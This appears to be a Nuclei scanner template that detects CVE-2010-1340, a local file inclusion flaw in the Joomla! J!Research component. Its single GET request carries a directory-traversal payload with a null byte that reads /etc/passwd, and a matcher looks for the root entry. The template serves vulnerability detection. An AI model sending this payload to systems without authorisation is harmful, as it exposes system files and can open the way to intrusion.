id: CVE-2010-1340

info:
  name: Joomla! Component com_jresearch - 'Controller' Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in jresearch.php in the J!Research (com_jresearch) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The vulnerability allows an attacker to include arbitrary local files, leading to remote code execution or sensitive information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/33797
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1340
    - http://packetstormsecurity.org/1003-exploits/joomlajresearch-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57123
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1340
    cwe-id: CWE-22
    epss-score: 0.13621
    epss-percentile: 0.96089
    cpe: cpe:2.3:a:joomla-research:com_jresearch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla-research
    product: com_jresearch
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,joomla-research,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jresearch&controller=../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a81d960fcb79b44b2be72eb2dcf031e217c81f521a77f044e3230037384fd010022100c854d5e573a07a72bad3436e660ca2773b35dd129cd60ea2601582ca58e92aa3:922c64590222798bb761d5b6d8e72950